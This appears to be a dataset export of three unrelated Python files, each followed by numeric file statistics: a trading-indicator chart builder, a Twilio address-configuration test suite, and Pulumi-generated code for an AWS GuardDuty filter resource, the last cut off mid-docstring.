Add request builder of VWAP to chart builder
Volume Weighted Average Price(VWAP) is commonly used as a trading benchmark
that gives an average price at which the instrument has been trading during the day.
This API call returns meta and time series values of VWAP. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = VWAPEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_wclprice(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of WCLPRICE to chart builder
Weighted Close Price(WCLPRICE) usually is used as the base for other
indicators for smoothness. Formula: (high + low + close * 2) / 4.
This API call returns meta and time series values of WCLPRICE. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at
universal UTC standard3. Timezone name according to IANA Time
Zone Database. E.g. America/New_York, Asia/Singapore. Full
list of timezones can be found here.Take note that IANA
Timezone name is case-sensitive.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = WCLPRICEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_willr(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of WILLR to chart builder
Williams %R(WILLR) calculates overbought and oversold levels. It can
also be used to find entry and exit signals.
This API call returns meta and time series values of WILLR. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = WILLREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_wma(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of WMA to chart builder
Weighted Moving Average(WMA) it smooths out price fluctuations, it
puts more weight on recent data points and less on past.
This API call returns meta and time series values of WMA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = WMAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
| 41.491286
| 130
| 0.624425
| 33,653
| 276,166
| 5.045791
| 0.027873
| 0.024116
| 0.017149
| 0.019293
| 0.909573
| 0.899468
| 0.89422
| 0.890375
| 0.888779
| 0.886235
| 0
| 0.007755
| 0.316382
| 276,166
| 6,655
| 131
| 41.497521
| 0.89168
| 0.579217
| 0
| 0.827665
| 0
| 0
| 0.033923
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.035644
| false
| 0
| 0.005232
| 0.000981
| 0.075867
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f4091e77f2895830936f649bed73845a89c36bee
| 11,022
|
py
|
Python
|
tests/integration/conversations/v1/test_address_configuration.py
|
angmunpri/twilio-python
|
d6ed1098f4bc06529d68f965eabdf87642ac441c
|
[
"MIT"
] | 1
|
2022-03-03T05:24:20.000Z
|
2022-03-03T05:24:20.000Z
|
tests/integration/conversations/v1/test_address_configuration.py
|
angmunpri/twilio-python
|
d6ed1098f4bc06529d68f965eabdf87642ac441c
|
[
"MIT"
] | 1
|
2022-03-03T05:32:47.000Z
|
2022-03-03T05:36:32.000Z
|
tests/integration/conversations/v1/test_address_configuration.py
|
angmunpri/twilio-python
|
d6ed1098f4bc06529d68f965eabdf87642ac441c
|
[
"MIT"
] | null | null | null |
# coding=utf-8
r"""
This code was generated by
\ / _ _ _| _ _
| (_)\/(_)(_|\/| |(/_ v1.0.0
/ /
"""
from tests import IntegrationTestCase
from tests.holodeck import Request
from twilio.base.exceptions import TwilioException
from twilio.http.response import Response
class AddressConfigurationTestCase(IntegrationTestCase):
def test_list_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.conversations.v1.address_configurations.list()
self.holodeck.assert_has_request(Request(
'get',
'https://conversations.twilio.com/v1/Configuration/Addresses',
))
def test_read_all_response(self):
self.holodeck.mock(Response(
200,
'''
{
"meta": {
"page": 0,
"page_size": 50,
"first_page_url": "https://conversations.twilio.com/v1/Configuration/Addresses?PageSize=50&Page=0",
"previous_page_url": null,
"url": "https://conversations.twilio.com/v1/Configuration/Addresses?PageSize=50&Page=0",
"next_page_url": null,
"key": "address_configurations"
},
"address_configurations": [
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address": "+37256123457",
"type": "sms",
"friendly_name": "My Test Configuration",
"auto_creation": {
"enabled": true,
"type": "webhook",
"conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"webhook_url": "https://example.com",
"webhook_method": "POST",
"webhook_filters": [
"onParticipantAdded",
"onMessageAdded"
]
},
"date_created": "2016-03-24T21:05:50Z",
"date_updated": "2016-03-24T21:05:50Z",
"url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
},
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab",
"address": "+37256123458",
"type": "sms",
"friendly_name": "Studio Test Configuration",
"auto_creation": {
"enabled": false,
"type": "studio",
"conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"studio_flow_sid": "FWaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"studio_retry_count": 3
},
"date_created": "2016-03-24T21:05:50Z",
"date_updated": "2016-03-24T21:05:50Z",
"url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab"
},
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac",
"address": "+37256123459",
"type": "sms",
"friendly_name": "Default Test Configuration",
"auto_creation": {
"enabled": true,
"type": "default"
},
"date_created": "2016-03-24T21:05:50Z",
"date_updated": "2016-03-24T21:05:50Z",
"url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac"
}
]
}
'''
))
actual = self.client.conversations.v1.address_configurations.list()
self.assertIsNotNone(actual)
def test_read_blank_response(self):
self.holodeck.mock(Response(
200,
'''
{
"meta": {
"page": 0,
"page_size": 50,
"first_page_url": "https://conversations.twilio.com/v1/Configuration/Addresses?PageSize=50&Page=0",
"url": "https://conversations.twilio.com/v1/Configuration/Addresses?PageSize=50&Page=0",
"previous_page_url": null,
"next_page_url": null,
"key": "address_configurations"
},
"address_configurations": []
}
'''
))
actual = self.client.conversations.v1.address_configurations.list()
self.assertIsNotNone(actual)
def test_fetch_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").fetch()
self.holodeck.assert_has_request(Request(
'get',
'https://conversations.twilio.com/v1/Configuration/Addresses/IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',
))
def test_fetch_response(self):
self.holodeck.mock(Response(
200,
'''
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address": "+37256123457",
"type": "sms",
"friendly_name": "My Test Configuration",
"auto_creation": {
"enabled": true,
"type": "webhook",
"conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"webhook_url": "https://example.com",
"webhook_method": "POST",
"webhook_filters": [
"onParticipantAdded",
"onMessageAdded"
]
},
"date_created": "2016-03-24T21:05:50Z",
"date_updated": "2016-03-24T21:05:50Z",
"url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
'''
))
actual = self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").fetch()
self.assertIsNotNone(actual)
def test_create_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.conversations.v1.address_configurations.create(type="sms", address="address")
values = {'Type': "sms", 'Address': "address", }
self.holodeck.assert_has_request(Request(
'post',
'https://conversations.twilio.com/v1/Configuration/Addresses',
data=values,
))
def test_create_response(self):
self.holodeck.mock(Response(
201,
'''
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address": "+37256123457",
"type": "sms",
"friendly_name": "My Test Configuration",
"auto_creation": {
"enabled": true,
"type": "webhook",
"conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"webhook_url": "https://example.com",
"webhook_method": "POST",
"webhook_filters": [
"onParticipantAdded",
"onMessageAdded"
]
},
"date_created": "2016-03-24T21:05:50Z",
"date_updated": "2016-03-24T21:05:50Z",
"url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
'''
))
actual = self.client.conversations.v1.address_configurations.create(type="sms", address="address")
self.assertIsNotNone(actual)
def test_update_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").update()
self.holodeck.assert_has_request(Request(
'post',
'https://conversations.twilio.com/v1/Configuration/Addresses/IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',
))
def test_update_response(self):
self.holodeck.mock(Response(
200,
'''
{
"account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"sid": "IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"address": "+37256123457",
"type": "sms",
"friendly_name": "My Test Configuration Updated",
"auto_creation": {
"enabled": false,
"type": "studio",
"conversation_service_sid": "ISaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"studio_flow_sid": "FWaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"studio_retry_count": 3
},
"date_created": "2016-03-24T21:05:50Z",
"date_updated": "2016-03-24T21:05:51Z",
"url": "https://conversations.twilio.com/v1/Configuration/Addresses/IGaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
'''
))
actual = self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").update()
self.assertIsNotNone(actual)
def test_delete_request(self):
self.holodeck.mock(Response(500, ''))
with self.assertRaises(TwilioException):
self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").delete()
self.holodeck.assert_has_request(Request(
'delete',
'https://conversations.twilio.com/v1/Configuration/Addresses/IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',
))
def test_delete_response(self):
self.holodeck.mock(Response(
204,
None,
))
actual = self.client.conversations.v1.address_configurations("IGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").delete()
self.assertTrue(actual)
| 40.08
| 127
| 0.52123
| 785
| 11,022
| 7.15414
| 0.149045
| 0.034188
| 0.064103
| 0.072115
| 0.874822
| 0.852386
| 0.834046
| 0.826211
| 0.82443
| 0.779915
| 0
| 0.045422
| 0.366812
| 11,022
| 274
| 128
| 40.226277
| 0.759278
| 0.009889
| 0
| 0.611765
| 1
| 0
| 0.170557
| 0.052321
| 0
| 0
| 0
| 0
| 0.188235
| 1
| 0.129412
| false
| 0
| 0.047059
| 0
| 0.188235
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f40a87698d6643dd93824dc6a64a9feb859cee55
| 26,047
|
py
|
Python
|
sdk/python/pulumi_aws/guardduty/filter.py
|
rapzo/pulumi-aws
|
390a098221315d98a54ba97d1559e750dc3053b7
|
[
"ECL-2.0",
"Apache-2.0"
] | 260
|
2018-06-18T14:57:00.000Z
|
2022-03-29T11:41:03.000Z
|
sdk/python/pulumi_aws/guardduty/filter.py
|
rapzo/pulumi-aws
|
390a098221315d98a54ba97d1559e750dc3053b7
|
[
"ECL-2.0",
"Apache-2.0"
] | 1,154
|
2018-06-19T20:38:20.000Z
|
2022-03-31T19:48:16.000Z
|
sdk/python/pulumi_aws/guardduty/filter.py
|
rapzo/pulumi-aws
|
390a098221315d98a54ba97d1559e750dc3053b7
|
[
"ECL-2.0",
"Apache-2.0"
] | 115
|
2018-06-28T03:20:27.000Z
|
2022-03-29T11:41:06.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['FilterArgs', 'Filter']
@pulumi.input_type
class FilterArgs:
def __init__(__self__, *,
action: pulumi.Input[str],
detector_id: pulumi.Input[str],
finding_criteria: pulumi.Input['FilterFindingCriteriaArgs'],
rank: pulumi.Input[int],
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a Filter resource.
:param pulumi.Input[str] action: Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`.
:param pulumi.Input[str] detector_id: ID of a GuardDuty detector, attached to your account.
:param pulumi.Input['FilterFindingCriteriaArgs'] finding_criteria: Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below.
:param pulumi.Input[int] rank: Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings.
:param pulumi.Input[str] description: Description of the filter.
:param pulumi.Input[str] name: The name of your filter.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level.
"""
pulumi.set(__self__, "action", action)
pulumi.set(__self__, "detector_id", detector_id)
pulumi.set(__self__, "finding_criteria", finding_criteria)
pulumi.set(__self__, "rank", rank)
if description is not None:
pulumi.set(__self__, "description", description)
if name is not None:
pulumi.set(__self__, "name", name)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter
def action(self) -> pulumi.Input[str]:
"""
Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`.
"""
return pulumi.get(self, "action")
@action.setter
def action(self, value: pulumi.Input[str]):
pulumi.set(self, "action", value)
@property
@pulumi.getter(name="detectorId")
def detector_id(self) -> pulumi.Input[str]:
"""
ID of a GuardDuty detector, attached to your account.
"""
return pulumi.get(self, "detector_id")
@detector_id.setter
def detector_id(self, value: pulumi.Input[str]):
pulumi.set(self, "detector_id", value)
@property
@pulumi.getter(name="findingCriteria")
def finding_criteria(self) -> pulumi.Input['FilterFindingCriteriaArgs']:
"""
Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below.
"""
return pulumi.get(self, "finding_criteria")
@finding_criteria.setter
def finding_criteria(self, value: pulumi.Input['FilterFindingCriteriaArgs']):
pulumi.set(self, "finding_criteria", value)
@property
@pulumi.getter
def rank(self) -> pulumi.Input[int]:
"""
Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings.
"""
return pulumi.get(self, "rank")
@rank.setter
def rank(self, value: pulumi.Input[int]):
pulumi.set(self, "rank", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
Description of the filter.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of your filter.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class _FilterState:
def __init__(__self__, *,
action: Optional[pulumi.Input[str]] = None,
arn: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
detector_id: Optional[pulumi.Input[str]] = None,
finding_criteria: Optional[pulumi.Input['FilterFindingCriteriaArgs']] = None,
name: Optional[pulumi.Input[str]] = None,
rank: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
tags_all: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
Input properties used for looking up and filtering Filter resources.
:param pulumi.Input[str] action: Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`.
:param pulumi.Input[str] arn: The ARN of the GuardDuty filter.
:param pulumi.Input[str] description: Description of the filter.
:param pulumi.Input[str] detector_id: ID of a GuardDuty detector, attached to your account.
:param pulumi.Input['FilterFindingCriteriaArgs'] finding_criteria: Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below.
:param pulumi.Input[str] name: The name of your filter.
:param pulumi.Input[int] rank: Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags_all: A map of tags assigned to the resource, including those inherited from the provider .
"""
if action is not None:
pulumi.set(__self__, "action", action)
if arn is not None:
pulumi.set(__self__, "arn", arn)
if description is not None:
pulumi.set(__self__, "description", description)
if detector_id is not None:
pulumi.set(__self__, "detector_id", detector_id)
if finding_criteria is not None:
pulumi.set(__self__, "finding_criteria", finding_criteria)
if name is not None:
pulumi.set(__self__, "name", name)
if rank is not None:
pulumi.set(__self__, "rank", rank)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if tags_all is not None:
pulumi.set(__self__, "tags_all", tags_all)
@property
@pulumi.getter
def action(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`.
"""
return pulumi.get(self, "action")
@action.setter
def action(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "action", value)
@property
@pulumi.getter
def arn(self) -> Optional[pulumi.Input[str]]:
"""
The ARN of the GuardDuty filter.
"""
return pulumi.get(self, "arn")
@arn.setter
def arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "arn", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
Description of the filter.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="detectorId")
def detector_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of a GuardDuty detector, attached to your account.
"""
return pulumi.get(self, "detector_id")
@detector_id.setter
def detector_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "detector_id", value)
@property
@pulumi.getter(name="findingCriteria")
def finding_criteria(self) -> Optional[pulumi.Input['FilterFindingCriteriaArgs']]:
"""
Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below.
"""
return pulumi.get(self, "finding_criteria")
@finding_criteria.setter
def finding_criteria(self, value: Optional[pulumi.Input['FilterFindingCriteriaArgs']]):
pulumi.set(self, "finding_criteria", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of your filter.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def rank(self) -> Optional[pulumi.Input[int]]:
"""
Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings.
"""
return pulumi.get(self, "rank")
@rank.setter
def rank(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "rank", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="tagsAll")
def tags_all(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A map of tags assigned to the resource, including those inherited from the provider .
"""
return pulumi.get(self, "tags_all")
@tags_all.setter
def tags_all(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags_all", value)
class Filter(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
action: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
detector_id: Optional[pulumi.Input[str]] = None,
finding_criteria: Optional[pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']]] = None,
name: Optional[pulumi.Input[str]] = None,
rank: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
"""
Provides a resource to manage a GuardDuty filter.
## Example Usage
```python
import pulumi
import pulumi_aws as aws
my_filter = aws.guardduty.Filter("myFilter",
action="ARCHIVE",
detector_id=aws_guardduty_detector["example"]["id"],
rank=1,
finding_criteria=aws.guardduty.FilterFindingCriteriaArgs(
criterions=[
aws.guardduty.FilterFindingCriteriaCriterionArgs(
field="region",
equals=["eu-west-1"],
),
aws.guardduty.FilterFindingCriteriaCriterionArgs(
field="service.additionalInfo.threatListName",
not_equals=[
"some-threat",
"another-threat",
],
),
aws.guardduty.FilterFindingCriteriaCriterionArgs(
field="updatedAt",
greater_than="2020-01-01T00:00:00Z",
less_than="2020-02-01T00:00:00Z",
),
aws.guardduty.FilterFindingCriteriaCriterionArgs(
field="severity",
greater_than_or_equal="4",
),
],
))
```
## Import
GuardDuty filters can be imported using the detector ID and filter's name separated by a colon, e.g.
```sh
$ pulumi import aws:guardduty/filter:Filter MyFilter 00b00fd5aecc0ab60a708659477e9617:MyFilter
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] action: Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`.
:param pulumi.Input[str] description: Description of the filter.
:param pulumi.Input[str] detector_id: ID of a GuardDuty detector, attached to your account.
:param pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']] finding_criteria: Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below.
:param pulumi.Input[str] name: The name of your filter.
:param pulumi.Input[int] rank: Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: FilterArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides a resource to manage a GuardDuty filter.
## Example Usage
```python
import pulumi
import pulumi_aws as aws
my_filter = aws.guardduty.Filter("myFilter",
action="ARCHIVE",
detector_id=aws_guardduty_detector["example"]["id"],
rank=1,
finding_criteria=aws.guardduty.FilterFindingCriteriaArgs(
criterions=[
aws.guardduty.FilterFindingCriteriaCriterionArgs(
field="region",
equals=["eu-west-1"],
),
aws.guardduty.FilterFindingCriteriaCriterionArgs(
field="service.additionalInfo.threatListName",
not_equals=[
"some-threat",
"another-threat",
],
),
aws.guardduty.FilterFindingCriteriaCriterionArgs(
field="updatedAt",
greater_than="2020-01-01T00:00:00Z",
less_than="2020-02-01T00:00:00Z",
),
aws.guardduty.FilterFindingCriteriaCriterionArgs(
field="severity",
